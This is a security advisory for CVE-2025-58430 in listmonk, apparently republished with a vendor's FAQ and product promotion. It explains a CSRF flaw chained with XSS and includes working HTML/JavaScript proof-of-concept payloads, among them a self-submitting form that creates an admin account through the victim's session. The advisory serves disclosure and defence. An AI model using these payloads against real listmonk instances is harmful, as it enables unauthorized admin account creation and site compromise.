Summary
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Details
During a security evaluation of the webapp, every http request in addition to the session cookie session there included nonce. The value is not checked and validated by the backend, removing nonce allows the requests to be processed correctly.
This may seem harmless, but if chained to other vulnerabilities it can become a critical vulnerability.
Example HTTP request without nonce :
PoC
Let's look at a “chain” case of vulnerabilities that include the CSRF and XSS.
An admin (or any user with permissions) can create templates and preview them (POST /api/templates/preview ) making it possible to execute javascript code. For example:
And this request can also be made without nonce.
Then an attacker can exploit this lack of validation to trigger an XSS in the victim's browser (let's assume the admin).
This is possible for 2 reasons :
- There is no validation of the
nonce(as mentioned above) - The
sessioncookie has no samesite flag
As we can see from the image above, no samesite cookie policy is set during login, so the browser will use the default one.
Some browsers by default set Lax (Chrome), but many others use None (Firefox, Edge).
For example, we can host this html page to prompt the admin to make a post request
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }} <script>alert()</script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
The CSRF+XSS PoC written above has been tested on 3 browsers (using their latest versions)
- Chrome ❌
- Firefox ✅
- Edge ✅
Example in Firefox :
We can now replace the simple alert() with any “harmful” request. For example, the creation of a new admin account:
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body = "{\"username\":\"testuser4\",\"email\":\"[email protected]\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
The final poc that exploits CSRF + XSS, allowing admin account creation:
<html>
<!-- CSRF PoC -->
<body>
<form action="https://10.100.132.47/api/templates/preview" method="POST">
<input type="hidden" name="template_type" value="campaign" />
<input type="hidden" name="body" value="{{ template "content" . }}     <script>       function submitRequest()       {         var xhr = new XMLHttpRequest();         xhr.open("POST", "https:\/\/10.100.132.47\/api\/users", true);         xhr.setRequestHeader("Content-Type", "application\/json");         xhr.withCredentials = true;         var body = "{\"username\":\"testuser4\",\"email\":\"test3@test.com\",\"name\":\"testuser4\",\"password\":\"Test12345\",\"passwordLogin\":true,\"type\":\"user\",\"status\":\"enabled\",\"listRoleId\":\"\",\"userRoleId\":1,\"password2\":\"Test12345\",\"password_login\":true,\"user_role_id\":1,\"list_role_id\":null}";         var aBody = new Uint8Array(body.length);         for (var i = 0; i < aBody.length; i++)           aBody[i] = body.charCodeAt(i);          xhr.send(new Blob([aBody]));       }       submitRequest();     </script>" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
Admin account creation
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-58430? CVE-2025-58430 is a high-severity cross-site scripting (XSS) vulnerability in github.com/knadh/listmonk (go), affecting versions <= 1.1.0. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- Which versions of github.com/knadh/listmonk are affected by CVE-2025-58430? github.com/knadh/listmonk (go) versions <= 1.1.0 is affected.
- Is there a fix for CVE-2025-58430? No fixed version is listed for CVE-2025-58430 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2025-58430 exploitable, and should I be worried? Whether CVE-2025-58430 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-58430 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-58430? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.